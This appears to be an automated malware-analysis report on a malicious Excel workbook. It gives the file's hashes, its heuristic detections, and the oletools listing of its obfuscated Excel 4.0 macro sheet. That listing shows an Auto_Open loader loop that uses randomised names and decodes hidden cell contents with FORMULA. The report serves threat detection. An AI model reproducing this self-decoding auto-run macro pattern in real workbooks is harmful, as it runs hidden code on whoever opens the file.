Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f3f2005fe667970…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:45:28 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 31704143244918e5e51c35d978e33b70 SHA-1: c2fe9825da5ffbc5d2b916001981285c711f7d87 SHA-256: 5f3f2005fe667970c307970bffc32ef9ca5df1c5e9e854cf08179911f9bfa448
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6536 bytes
SHA-256: 2c8414e444deb16ce9d7b1de44fa215d62aa77194da2b827f2ca69181d218e6e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'zKQnJKUACNHV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VuBn
' 0018     27 LABEL : Cell Value, String Constant - AnVLsLGXvGNb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B174 
' 0018     24 LABEL : Cell Value, String Constant - BTeykzwFI len=0 
' 0018     25 LABEL : Cell Value, String Constant - CQRzORPpTM len=0 
' 0018     25 LABEL : Cell Value, String Constant - DgRDIrPdRM len=0 
' 0018     22 LABEL : Cell Value, String Constant - EXbxtKv len=0 
' 0018     26 LABEL : Cell Value, String Constant - GYtYLoOwEen len=0 
' 0018     23 LABEL : Cell Value, String Constant - HarYOCxA len=0 
' 0018     23 LABEL : Cell Value, String Constant - lNpLiPnk len=0 
' 0018     24 LABEL : Cell Value, String Constant - LXNqUfYPt len=0 
' 0018     22 LABEL : Cell Value, String Constant - oUFlVZE len=0 
' 0018     25 LABEL : Cell Value, String Constant - pfFkaZkcbC len=0 
' 0018     22 LABEL : Cell Value, String Constant - QbDLqnh len=0 
' 0018     21 LABEL : Cell Value, String Constant - QdzszY len=0 
' 0018     20 LABEL : Cell Value, String Constant - QiwhS len=0 
' 0018     24 LABEL : Cell Value, String Constant - qYyXUIxUr len=0 
' 0018     23 LABEL : Cell Value, String Constant - TRDBaFqN len=0 
' 0018     22 LABEL : Cell Value, String Constant - uCumHjf len=0 
' 0018     23 LABEL : Cell Value, String Constant - VgJztJZX len=0 
' 0018     23 LABEL : Cell Value, String Constant - YzmkeBfy len=0 
' 0018     27 LABEL : Cell Value, String Constant - zKQnJKUACNHV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VuBn,B87,"SET.NAME("GYtYLoOwEen",VALUE("0"))",""
'  VuBn,B90,"SET.NAME("TRDBaFqN",GYtYLoOwEen)",""
'  VuBn,B93,"SET.NAME("oUFlVZE",GYtYLoOwEen)",""
'  VuBn,B97,"SET.NAME("pfFkaZkcbC",COUNTA(lNpLiPnk))",""
'  VuBn,B101,"SET.NAME("HarYOCxA",COUNTA(QdzszY))",""
'  VuBn,B103,[],""
'  VuBn,B108,"SET.NAME("qYyXUIxUr","")",""
'  VuBn,B110,"TRDBaFqN",""
'  VuBn,B113,"SET.NAME("BTeykzwFI",HLOOKUP("*",lNpLiPnk,TRDBaFqN,FALSE))",""
'  VuBn,B117,"LXNqUfYPt",""
'  VuBn,B119,"SET.NAME("CQRzORPpTM",GYtYLoOwEen)",""
'  VuBn,B121,[],""
'  VuBn,B123,"CQRzORPpTM",""
'  VuBn,B127,"EXbxtKv",""
'  VuBn,B129,"QbDLqnh",""
'  VuBn,B133,"uCumHjf",""
'  VuBn,B138,"SET.NAME("YzmkeBfy",VALUE(HLOOKUP("*",QdzszY,uCumHjf,FALSE)))",""
'  VuBn,B143,"DgRDIrPdRM",""
'  VuBn,B147,"qYyXUIxUr",""
'  VuBn,B152,"oUFlVZE",""
'  VuBn,B154,NEXT(),""
'  VuBn,B157,"zKQnJKUACNHV",""
'  VuBn,B160,"SET.NAME("f",INT(T(FORMULA(T(qYyXUIxUr)&"",""&T(zKQnJKUACNHV)))))",""
'  VuBn,B162,"AnVLsLGXvGNb",""
'  VuBn,B166,NEXT(),""
'  VuBn,B169,RETURN(),""
'  VuBn,B199,"SET.NAME("VgJztJZX",B87)",""
'  VuBn,B203,"lNpLiPnk",""
'  VuBn,B205,"SET.NAME("QdzszY",R81C11)",""
'  VuBn,B208,"SET.NAME("AnVLsLGXvGNb",218)",""
'  VuBn,B213,"SET.NAME("QiwhS",2)",""
'  VuBn,B217,VgJztJZX(),""
'  VuBn,B218,HALT(),""

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